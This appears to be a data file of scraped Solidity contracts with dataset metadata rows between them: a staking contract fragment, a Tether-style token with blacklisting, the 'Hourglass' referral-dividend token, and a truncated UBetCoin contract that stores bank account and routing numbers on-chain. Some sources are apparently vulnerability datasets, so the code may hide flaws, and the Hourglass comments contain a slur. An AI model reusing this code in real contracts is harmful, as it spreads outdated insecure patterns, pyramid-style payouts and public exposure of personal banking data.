uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 119,093 | 395 |
eeee69e40b8b9dacf4e2459e67649824137197519bc53b53fed5e4020d541116
| 15,028 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7f/7fd7aa0bb3f9b233687746299d3b2cde9c8498af_TokenA.sol
| 2,758 | 11,188 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TokenA is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TokenA(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 106,040 | 396 |
2f015e0533a4c908dd7c77303aea9ac407b07e2b29785ea90613a7c30cae0d46
| 25,107 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3b4824dfd467bc4b34b20cc96899bf9f1a854248.sol
| 4,565 | 17,762 |
pragma solidity ^0.4.20;
contract Hourglass {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "WeLoveSupp";
string public symbol = "SUPP";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 0.445 ether;
uint256 constant internal ambassadorQuota_ = 0.888 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function Hourglass()
public
{
//SP
ambassadors_[0xFEbb18FDfEb5E089D3Ce20E707C8df8CfAF60BB3] = true;
ambassadors_[0x25d9c4432461ed852b1d384fb2cb603508c3ab19] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 214,511 | 397 |
15e6a9e370a11b154d5a275eae0a83a2d23babc0c73f51bf712aca9c292b75b3
| 15,584 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x3579cfc21c1fa2609e762bd83128adf1cc8a2f8b.sol
| 3,141 | 11,387 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract UBetCoin is StandardToken, Ownable {
string public constant name = "UBetCoin";
string public constant symbol = "UBET";
string public constant YOU_BET_MINE_DOCUMENT_PATH = "https:
string public constant YOU_BET_MINE_DOCUMENT_SHA512 = "7e9dc6362c5bf85ff19d75df9140b033c4121ba8aaef7e5837b276d657becf0a0d68fcf26b95e76023a33251ac94f35492f2f0af882af4b87b1b1b626b325cf8";
string public constant UBETCOIN_LEDGER_TO_LEDGER_ENTRY_DOCUMENT_PATH = "https:
string public constant UBETCOIN_LEDGER_TO_LEDGER_ENTRY_DOCUMENT_SHA512 = "c8f0ae2602005dd88ef908624cf59f3956107d0890d67d3baf9c885b64544a8140e282366cae6a3af7bfbc96d17f856b55fc4960e2287d4a03d67e646e0e88c6";
uint8 public constant decimals = 0;
uint256 public constant totalCoinSupply = 4000000000 * (10 ** uint256(decimals));
/// Base exchange rate is set to 1 ETH = 962 UBET.
uint256 public ratePerOneEther = 962;
uint256 public totalUBetCheckAmounts = 0;
/// Issue event index starting from 0.
uint64 public issueIndex = 0;
/// Emitted for each sucuessful token purchase.
event Issue(uint64 issueIndex, address addr, uint256 tokenAmount);
/// Emitted for each UBETCHECKS register.
event UbetCheckIssue(string chequeIndex);
// All funds will be transferred in this wallet.
address public moneyWallet = 0xe5688167Cb7aBcE4355F63943aAaC8bb269dc953;
struct UBetCheck {
string accountId;
string accountNumber;
string fullName;
string routingNumber;
string institution;
uint256 amount;
uint256 tokens;
string checkFilePath;
string digitalCheckFingerPrint;
}
mapping (address => UBetCheck) UBetChecks;
address[] public uBetCheckAccts;
function UBetCoin() public {
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () public payable {
purchaseTokens(msg.sender);
}
/// @dev Register UBetCheck to the chain
/// @param _beneficiary recipient ether address
/// @param _accountId the id generated from the db
/// @param _accountNumber the account number stated in the check
/// @param _routingNumber the routing number stated in the check
/// @param _institution the name of the institution / bank in the check
/// @param _fullname the name printed on the check
/// @param _amount the amount in currency in the chek
/// @param _checkFilePath the url path where the cheque has been uploaded
/// @param _digitalCheckFingerPrint the hash of the file
function registerUBetCheck(address _beneficiary, string _accountId, string _accountNumber, string _routingNumber, string _institution, string _fullname, uint256 _amount, string _checkFilePath, string _digitalCheckFingerPrint, uint256 _tokens) public payable onlyOwner {
require(_beneficiary != address(0));
require(bytes(_accountId).length != 0);
require(bytes(_accountNumber).length != 0);
require(bytes(_routingNumber).length != 0);
require(bytes(_institution).length != 0);
require(bytes(_fullname).length != 0);
require(_amount > 0);
require(_tokens > 0);
require(bytes(_checkFilePath).length != 0);
require(bytes(_digitalCheckFingerPrint).length != 0);
var uBetCheck = UBetChecks[_beneficiary];
uBetCheck.accountId = _accountId;
uBetCheck.accountNumber = _accountNumber;
uBetCheck.routingNumber = _routingNumber;
uBetCheck.institution = _institution;
uBetCheck.fullName = _fullname;
uBetCheck.amount = _amount;
uBetCheck.tokens = _tokens;
uBetCheck.checkFilePath = _checkFilePath;
uBetCheck.digitalCheckFingerPrint = _digitalCheckFingerPrint;
totalUBetCheckAmounts += _amount;
uBetCheckAccts.push(_beneficiary) -1;
// Issue token when registered UBetCheck is complete to the _beneficiary
doIssueTokens(_beneficiary, _tokens);
// Fire Event UbetCheckIssue
UbetCheckIssue(_accountId);
}
